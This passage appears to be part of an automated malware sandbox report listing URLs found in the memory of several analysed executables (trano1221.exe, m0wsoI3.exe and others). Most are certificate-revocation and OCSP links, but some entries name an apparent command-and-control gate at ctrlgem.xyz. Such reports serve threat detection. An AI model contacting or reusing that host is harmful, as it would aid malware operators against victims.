Source: trano1221.exe, 0000002A.00000003.1776610520.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1828305886.000001E16BA84000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1946084154.000001E16BA86000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1816159571.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: rapes.exe, 00000006.00000003.5646796059.0000000000B58000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 00000006.00000003.5646796059.0000000000B3A000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584996545.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1609046111.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1587751627.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1583958275.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1586024618.0000013C2C400000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607369375.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588013358.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1611379233.0000013C2C3F5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585628813.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588172070.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585492797.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588013358.0000013C2C400000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607707168.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585342620.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584677472.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588526671.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1606674528.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1605740646.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607067585.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: m0wsoI3.exe, 00000011.00000002.1518652176.0000000000681000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1518652176.000000000066A000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530707992.000000000FE10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: UD49QH6.exe, 00000010.00000003.1447534913.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: UD49QH6.exe, 00000010.00000003.1447534913.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: rapes.exe, 00000006.00000003.5646796059.0000000000B3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: rapes.exe, 00000006.00000003.5646796059.0000000000B58000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 00000006.00000003.5646796059.0000000000B3A000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584996545.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1609046111.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1587751627.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1583958275.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607369375.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588013358.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1611379233.0000013C2C3F5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585628813.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588172070.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585492797.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607707168.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585342620.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584677472.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588526671.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1606674528.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1605740646.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607067585.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1606270626.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585164780.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: rapes.exe, 00000006.00000003.5646796059.0000000000B58000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 00000006.00000003.5646796059.0000000000B3A000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584996545.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1609046111.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1587751627.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1583958275.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607369375.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588013358.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1611379233.0000013C2C3F5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585628813.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588172070.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585492797.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607707168.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585342620.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584677472.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588526671.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1606674528.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1605740646.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607067585.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1606270626.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585164780.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: trano1221.exe, 00000023.00000003.1586024618.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: m0wsoI3.exe, 00000011.00000002.1518652176.0000000000681000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1518652176.000000000066A000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530707992.000000000FE10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: m0wsoI3.exe, 00000011.00000002.1518652176.0000000000681000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1518652176.000000000066A000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530707992.000000000FE10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: UD49QH6.exe, 00000010.00000003.1447534913.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: rapes.exe, 00000006.00000003.5646796059.0000000000B58000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 00000006.00000003.5646796059.0000000000B3A000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584996545.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1609046111.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1587751627.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1583958275.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607369375.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588013358.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1611379233.0000013C2C3F5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585628813.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588172070.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585492797.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607707168.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585342620.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584677472.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588526671.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1606674528.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1605740646.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607067585.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1606270626.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585164780.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: m0wsoI3.exe, 00000011.00000002.1518652176.0000000000681000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1518652176.000000000066A000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530707992.000000000FE10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: UD49QH6.exe, 00000010.00000003.1447534913.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: m0wsoI3.exe, 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctrlgem.xyz/gate.php
Source: m0wsoI3.exe, 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctrlgem.xyz/gate.phpMN
Source: m0wsoI3.exe, 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1518652176.0000000000623000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctrlgem.xyz/request
Source: m0wsoI3.exe, 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctrlgem.xyz/request-N
Source: trano1221.exe, 0000002A.00000002.1950520854.000001E16C380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://curl.haxx.se/rfc/cookie_spec.html
Source: trano1221.exe, 0000002A.00000003.1779310228.000001E16BBEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com
Source: trano1221.exe, 0000002A.00000003.1804418435.000001E16B9B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: trano1221.exe, 0000002A.00000003.1839066325.000001E16BB73000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1947614092.000001E16BB74000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1806684147.000001E16BB72000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1831815877.000001E16BB73000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BB41000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1889510027.000001E16BB74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/mail/
Source: trano1221.exe, 0000002A.00000003.1806325089.000001E16B51C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1822821086.000001E16B5FD000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1776610520.000001E16BB41000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1883429141.000001E16BB5C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1807329895.000001E16B5F1000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1904737697.000001E16BB65000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1815572881.000001E16B5F2000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1807091152.000001E16BB58000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1835977069.000001E16B60B000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BB41000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1823085657.000001E16BB5C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1811187330.000001E16BB5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
Source: trano1221.exe, 0000002A.00000003.1804418435.000001E16B9B5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1832695924.000001E16B9ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://json.org
Source: powershell.exe, 00000019.00000002.1600308325.00000000058D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: trano1221.exe, 0000002A.00000002.1942451950.000001E16B56C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es
Source: trano1221.exe, 0000002A.00000003.1787595180.000001E16C604000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804953038.000001E16C600000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1835417852.000001E16C61E000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1837399560.000001E16C638000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1839847199.000001E16C654000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1838314051.000001E16C64F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es0
Source: rapes.exe, 00000006.00000003.5646796059.0000000000B58000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 00000006.00000003.5646796059.0000000000B3A000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1447534913.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584996545.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1609046111.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1587751627.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1583958275.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607369375.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588013358.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1611379233.0000013C2C3F5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585628813.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588172070.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585492797.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607707168.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585342620.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584677472.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588526671.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1606674528.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1605740646.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607067585.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1606270626.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: rapes.exe, 00000006.00000003.5646796059.0000000000B58000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 00000006.00000003.5646796059.0000000000B3A000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584996545.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1609046111.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1587751627.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1583958275.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1586024618.0000013C2C400000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607369375.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588013358.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1611379233.0000013C2C3F5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585628813.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588172070.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585492797.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588013358.0000013C2C400000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607707168.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585342620.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584677472.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588526671.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1606674528.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1605740646.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607067585.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: rapes.exe, 00000006.00000003.5646796059.0000000000B58000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 00000006.00000003.5646796059.0000000000B3A000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1518652176.0000000000681000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1518652176.000000000066A000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530707992.000000000FE10000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584996545.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1609046111.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1587751627.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1583958275.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1586024618.0000013C2C400000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607369375.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588013358.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1611379233.0000013C2C3F5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585628813.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588172070.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585492797.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588013358.0000013C2C400000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607707168.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585342620.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584677472.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: rapes.exe, 00000006.00000003.5646796059.0000000000B3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: m0wsoI3.exe, 00000011.00000002.1518652176.0000000000681000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1518652176.000000000066A000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530707992.000000000FE10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: rapes.exe, 00000006.00000003.5646796059.0000000000B58000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 00000006.00000003.5646796059.0000000000B3A000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584996545.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1609046111.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1587751627.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1583958275.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607369375.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588013358.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1611379233.0000013C2C3F5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585628813.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588172070.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585492797.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607707168.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585342620.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584677472.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588526671.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1606674528.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1605740646.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607067585.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1606270626.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585164780.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: UD49QH6.exe, 00000010.00000003.1447534913.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: m0wsoI3.exe, 00000011.00000002.1518652176.0000000000681000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1518652176.000000000066A000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530707992.000000000FE10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: trano1221.exe, 0000002A.00000003.1683030296.000001E16B67B000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1683030296.000001E16B58E000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1672685606.000001E16B53F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://opensource.apple.com/source/CF/CF-744.18/CFBinaryPList.c
Source: powershell.exe, 0000001D.00000002.4028270818.000001D88022C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: trano1221.exe, 0000002A.00000003.1806325089.000001E16B51C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1946800540.000001E16BB42000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1811511333.000001E16BC7C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1816958267.000001E16B6D6000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1776610520.000001E16BB41000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1807329895.000001E16B5F1000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BB41000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1895673208.000001E16BB41000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1779497201.000001E16BC70000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1891690088.000001E16B6D7000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 